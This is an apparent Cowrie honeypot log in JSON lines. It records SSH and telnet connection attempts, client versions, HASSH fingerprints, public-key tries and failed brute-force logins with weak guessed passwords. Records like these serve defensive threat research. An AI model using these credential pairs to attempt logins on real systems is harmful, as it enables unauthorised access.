{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1a41e757f90","protocol":"ssh","message":"New connection: 83.168.110.85:56452 (10.17.0.5:22) [session: e1a41e757f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:25.061526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:25.066591Z","src_ip":"83.168.110.85","session":"e1a41e757f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:25.189063Z","src_ip":"83.168.110.85","session":"e1a41e757f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:25.668545Z","src_ip":"83.168.110.85","session":"e1a41e757f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:26.802941Z","src_ip":"83.168.110.85","session":"e1a41e757f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.038585662841797,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:32.031945Z","src_ip":"152.42.224.71","session":"92a6d5eaabce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":53416,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e420b1a5c7a","protocol":"ssh","message":"New connection: 39.117.79.36:53416 (10.17.0.5:22) [session: 8e420b1a5c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:32.111215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:32.116293Z","src_ip":"39.117.79.36","session":"8e420b1a5c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56458,"dst_ip":"10.17.0.5","dst_port":22,"session":"f41c3e4a3553","protocol":"ssh","message":"New connection: 83.168.110.85:56458 (10.17.0.5:22) [session: f41c3e4a3553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:32.123792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:32.128645Z","src_ip":"83.168.110.85","session":"f41c3e4a3553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:32.250874Z","src_ip":"83.168.110.85","session":"f41c3e4a3553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:32.314847Z","src_ip":"39.117.79.36","session":"8e420b1a5c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:32.618481Z","src_ip":"83.168.110.85","session":"f41c3e4a3553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123456.","message":"login attempt [root/Admin123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:33.121068Z","src_ip":"39.117.79.36","session":"8e420b1a5c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:33.963886Z","src_ip":"83.168.110.85","session":"f41c3e4a3553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:34.318174Z","src_ip":"39.117.79.36","session":"8e420b1a5c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59406,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f442c37f681","protocol":"ssh","message":"New connection: 83.168.110.85:59406 (10.17.0.5:22) [session: 1f442c37f681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:38.881345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:38.886354Z","src_ip":"83.168.110.85","session":"1f442c37f681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:39.011410Z","src_ip":"83.168.110.85","session":"1f442c37f681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:39.375895Z","src_ip":"83.168.110.85","session":"1f442c37f681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:40.559556Z","src_ip":"83.168.110.85","session":"1f442c37f681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":57506,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bd1db55e73f","protocol":"ssh","message":"New connection: 43.153.50.142:57506 (10.17.0.5:22) [session: 7bd1db55e73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:40.622774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:40.630203Z","src_ip":"43.153.50.142","session":"7bd1db55e73f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:40.698523Z","src_ip":"43.153.50.142","session":"7bd1db55e73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caja01","password":"123456","message":"login attempt [caja01/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:41.005893Z","src_ip":"43.153.50.142","session":"7bd1db55e73f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:42.076769Z","src_ip":"43.153.50.142","session":"7bd1db55e73f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53676,"dst_ip":"10.17.0.5","dst_port":23,"session":"449e02913d7c","protocol":"telnet","message":"New connection: 152.42.224.71:53676 (10.17.0.5:23) [session: 449e02913d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:43.181580Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45410,"dst_ip":"10.17.0.5","dst_port":22,"session":"93da4a87d649","protocol":"ssh","message":"New connection: 83.168.110.85:45410 (10.17.0.5:22) [session: 93da4a87d649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:45.931554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:45.940825Z","src_ip":"83.168.110.85","session":"93da4a87d649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:46.062432Z","src_ip":"83.168.110.85","session":"93da4a87d649","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:46.639644Z","src_ip":"83.168.110.85","session":"93da4a87d649","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:47.766694Z","src_ip":"83.168.110.85","session":"93da4a87d649","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.92.29","src_port":47420,"dst_ip":"10.17.0.5","dst_port":22,"session":"96b5664b1d03","protocol":"ssh","message":"New connection: 69.175.92.29:47420 (10.17.0.5:22) [session: 96b5664b1d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.617573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.622366Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.650477Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:35:e3:b8:f8:e1:e4:d4:2b:68:05:06:3c:d4:7d:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5chw1CVbaLIec9US8sDNOuJlnWmmmKb/vVeNtnZYa0585AdEfWQe3rLRPWPfoDSzd2LBcG9nUH0sXfue2Syt/28kzi7ehhAzj1yKSxQzjqEdef9pB42A2CI45PnUDESeykaKgAxGMhAdN7tzCC3UCYS04T3RPcsHsdUe+lcPVDrzoGDhA13lakfcX1X/PQw5eG3QEc9/nDCkcTb4gQPFwmk4ny0OTm6SQG/KxoJuYBXBKrfYN3+lANkoTCF6Dx39lNutgJLfEqCssSHXOriXK03e6TH6JPiiMl6zQ7ahKKHDSuAcP8ZogoyUgPbl1KSQKckDGZfLXAN6ENn76KZgB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:35:e3:b8:f8:e1:e4:d4:2b:68:05:06:3c:d4:7d:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.769637Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:35:e3:b8:f8:e1:e4:d4:2b:68:05:06:3c:d4:7d:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5chw1CVbaLIec9US8sDNOuJlnWmmmKb/vVeNtnZYa0585AdEfWQe3rLRPWPfoDSzd2LBcG9nUH0sXfue2Syt/28kzi7ehhAzj1yKSxQzjqEdef9pB42A2CI45PnUDESeykaKgAxGMhAdN7tzCC3UCYS04T3RPcsHsdUe+lcPVDrzoGDhA13lakfcX1X/PQw5eG3QEc9/nDCkcTb4gQPFwmk4ny0OTm6SQG/KxoJuYBXBKrfYN3+lANkoTCF6Dx39lNutgJLfEqCssSHXOriXK03e6TH6JPiiMl6zQ7ahKKHDSuAcP8ZogoyUgPbl1KSQKckDGZfLXAN6ENn76KZgB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.775964Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:3b:1c:38:2b:0a:2c:64:60:75:1d:58:db:dd:0d:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCb+wZ1iVCBJpcBRCObXVhj9h0TA2GIYCKelBFzQN0JDL/NIenPwbBwmPpm1QsKEA4ve7wpIcPH6JE+acjmCZj1z5XJUR7tZP3TdEPXku4DgPQvN7hw9W7TLu+LEGQ3p726inYukqLNI95adOZ89THtIiE0NsuIDyU+gIUOxbsgxR3A96oHdfn17cbiScCgG1PAAVDGYKzJnnC/S4jiSliG6QbEjgtTpVnK/6CjsrjCDn9EAFpWwNiGbBZpfgNfJFZiIg5IcaUmUwpzLG4XSnOGhE7b3u1pMqF1puL3Pr+OF789SeuNWr6c7vDegJNe9ZmxwPAwxL/3545SKITKdwshBrAxr/+ujO4YPg8fMH45WCnLZm8FvWv7qnbKwsE+LyqdFNxawi4evyCe+guDCsFjuYgv23xMeZm9bSpRLz54aj77Zd2IAsALGAW/TFrrKBUXyIvWsTpcTCQw0eUirLqnCexCNYwqIVf6oGIaDJk94iGk0omxrrDyoAA3ibWlwlE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:3b:1c:38:2b:0a:2c:64:60:75:1d:58:db:dd:0d:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:44:52.804236Z","src_ip":"69.175.92.29","session":"96b5664b1d03","protocol":"ssh"}
